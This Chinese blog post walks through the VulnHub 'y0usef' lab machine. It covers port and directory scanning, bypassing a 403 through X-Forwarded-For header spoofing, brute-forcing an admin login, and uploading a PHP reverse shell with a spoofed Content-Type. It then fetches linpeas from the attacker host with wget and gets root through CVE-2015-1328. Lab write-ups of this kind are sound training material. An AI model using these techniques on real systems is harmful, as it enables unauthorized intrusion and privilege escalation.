实战打靶集锦-028-y0usef

靶机地址:https://download.vulnhub.com/y0usef/y0usef.ova


1. 主机发现

目前只知道目标靶机在232.xx网段,通过如下的命令,看看这个网段上在线的主机。

$ nmap -sP 192.168.232.0/24

在这里插入图片描述

2. 端口枚举

通过下面的命令枚举一下目标主机的端口。

$ sudo nmap -p- 192.168.232.148

在这里插入图片描述
开放的端口比较少,枚举一下服务。

3. 服务枚举

通过下面的命令枚举一下开放端口上的服务。

$ sudo nmap -A -sV -sT -p22,80 192.168.232.148

在这里插入图片描述
服务也比较简单,还是手工探查一下。

4. http服务探查

手工通过浏览器打开看一下。
在这里插入图片描述
简单的不能再简单的页面,目录枚举一下试试看。

$ dirsearch -u http://192.168.232.148

在这里插入图片描述
除了一个/adminstration的页面之外,其它都是403,没法查看。再用gobuster扫描一下试试看。

$ gobuster dir -u http://192.168.232.148 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

在这里插入图片描述
扫描结果竟然为空,我也是醉了,再用dirb试试看。

$ dirb http://192.168.232.148 /usr/share/wordlists/dirb/big.txt

在这里插入图片描述
扫出来的结果也不是很理想,手工进去看看。
在这里插入图片描述
唯一一个有希望的adminstration目录,也是301跳转到Forbidden,直接在这个目录下扫描一下看看。

$ dirsearch -u http://192.168.232.148/adminstration/ 

在这里插入图片描述
继续深入挖掘,也没有发现太有价值的内容。看了一下openssh和apache的EXP,结果也没有发现太合适的。

5. 403绕过

就在我无计可施准备放弃的时候,有大神说可能有办法绕过403。这对我来说有些陌生,之前还真是闻所未闻,本着探索的精神,好好研究了一下。

5.1 403与401的区别

401是Unauthorized,相当于认证失败,比如身份认证失败,token失效等;而403是forbidden,可能是权限不足、服务器做了特殊限定等,跟身份认证没关系。一言以蔽之,401着重在于认证,403着重在于授权。

5.2 可能返回403的情况

从网上查了一下,据说有17种可能返回403的情况,如下图所示。
在这里插入图片描述
大佬们总结了一下,导致发生403错误的原因,主要有以下几种:
(1)IP被列入了黑名单;
(2)网页脚本文件在当前目录下没有执行权限;
(3)在不允许写操作的目录下执行了写操作;
(4)以http方式访问了需要ssl连接的路径;
(5)访问次数过多,等会儿再试试。

5.3 绕过403的方法

基于上述这些原因,可以分别采用如下的方式进行绕过。
(1)覆盖请求的URL
在这里插入图片描述
(2)通过Referer绕过
在这里插入图片描述
(3)代理IP绕过
有时候web服务会通过代理的方式限制前端的访问,这时候可以尝试通过X-Forwarded-For等header设置进行绕过。
在这里插入图片描述
这种情况下,可能的选项有X-Originating-IP、X-Remote-IP、X-Client-IP、X-Forwarded-For、X-Forwarded-Host、X-Host、X-Custom-IP-Authorization。
(4)目录扩展绕过
基于一些扩展名、通配符等方式绕过受限制的目录,比如/.、/*、??等等,如下图所示。
在这里插入图片描述

5.4 可用的4xx bypass工具

Git上有不少用于绕过403的脚本工具,大家可以自行搜索使用,我这里使用的是 https://github.com/yunemse48/403bypasser.git。接下来针对前面扫描出的adminstration页面,用脚本绕过一下看看(中间因为机器重启,靶机IP变成了192.168.232.155)。

$ python3 403bypasser.py -u http://192.168.232.155 -d /adminstration

在这里插入图片描述

$ python3 403bypasser.py -u http://192.168.232.155 -d /secret

在这里插入图片描述

$ python3 403bypasser.py -u http://192.168.232.155 -d /server-status

在这里插入图片描述
确实是管用,通过在burpsuite中启动拦截,在请求头中添加X-Forwarded-For然后转发,进入到adminstration页面看看。
在这里插入图片描述
哈,是个登录界面,手工试一下看看有没有爆破的可能。
在这里插入图片描述
简单试了以下,随便输入用户名密码的时候报错信息都是上图所示,不管了,直接用admin用户挂上rockyou爆破以下试试看。
在这里插入图片描述
发现用户名密码都是admin,直接手工进去看看。
在这里插入图片描述
登录以后的界面如上图所示,并且看到了貌似有上传文件的入口,如下图所示。
在这里插入图片描述
尝试上传之前经常用的带有反弹shell的php脚本,然后去/adminstration/upload/目录下看看。
在这里插入图片描述
不允许上传这类文件,修改以下Content-Type类型为image/png试试看。
在这里插入图片描述
这次上传成功了,还显示了上传后的文件路径为files/xxxxx,如上图的左上角显示。
在4444端口上建立监听,然后访问以下上述的php文件试试看。
在这里插入图片描述
反弹shell建立成功。

6. 提权

先优化一下shell。

$ /usr/bin/python3.4 -c "import pty;pty.spawn('/bin/bash')"

直接用linpeas.sh跑一下试试。

www-data@yousef-VirtualBox:/$ cd /tmp
www-data@yousef-VirtualBox:/tmp$ wget http://192.168.232.129:8000/linpeas.sh
www-data@yousef-VirtualBox:/tmp$ chmod u+x linpeas.sh
www-data@yousef-VirtualBox:/tmp$ sh linpeas.sh

感觉最有可能提权的是如下的三个漏洞,除此之外没有太多发现。
在这里插入图片描述
逐个试一下,可是我每次执行都提示“cannot execute binary file: Exec format error”,如下图所示。
在这里插入图片描述
在这里插入图片描述
上网搜索了一下,说是操作系统位数不正确,即编辑可执行文件的系统和执行可执行文件的系统位数不一致,先枚举一下操作系统信息看看。

www-data@yousef-VirtualBox:/var/www$ uname -a
www-data@yousef-VirtualBox:/var/www$ cat /etc/*-release
www-data@yousef-VirtualBox:/var/www$ getconf LONG_BIT

在这里插入图片描述
确实是32位系统,我之前编译的文件都是在64位系统下默认编译的。先在32位ubuntu系统上编译40839.c。

u1401x32@u1401x32-virtual-machine:~/Downloads$ gcc -pthread 40839.c -o 40839 -lcrypt

然后上传到目标靶机执行。

www-data@yousef-VirtualBox:/tmp$ chmod u+x 40839
www-data@yousef-VirtualBox:/tmp$ ./40839

在这里插入图片描述
可惜的是执行完了以后挂了,再也访问不了了,重启一下靶机试试看。
在这里插入图片描述
可惜一直报permission denied,不知道啥原因;再试试之前的40611.c。
在这里插入图片描述
同样的,一执行到这里就会卡住。还有最有一个37292.c,我们也试一下,不行的话,还是按部就班的看一下。
在这里插入图片描述
哈,天无绝人之路,利用37292.c貌似是可以提权的,进一步验证一下。
在这里插入图片描述
最终确认利用linpeas扫出来的CVE-2015-1328的漏洞成功提权。

7. 获取flag

获取一下flag。
在这里插入图片描述
应该这就是个flag,不过感觉这个flag长得有些怪异,像是编码了,尝试base64解码试试。
在这里插入图片描述
这下妥妥的了,成功获取flag明文。

  • 43
    点赞
  • 35
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值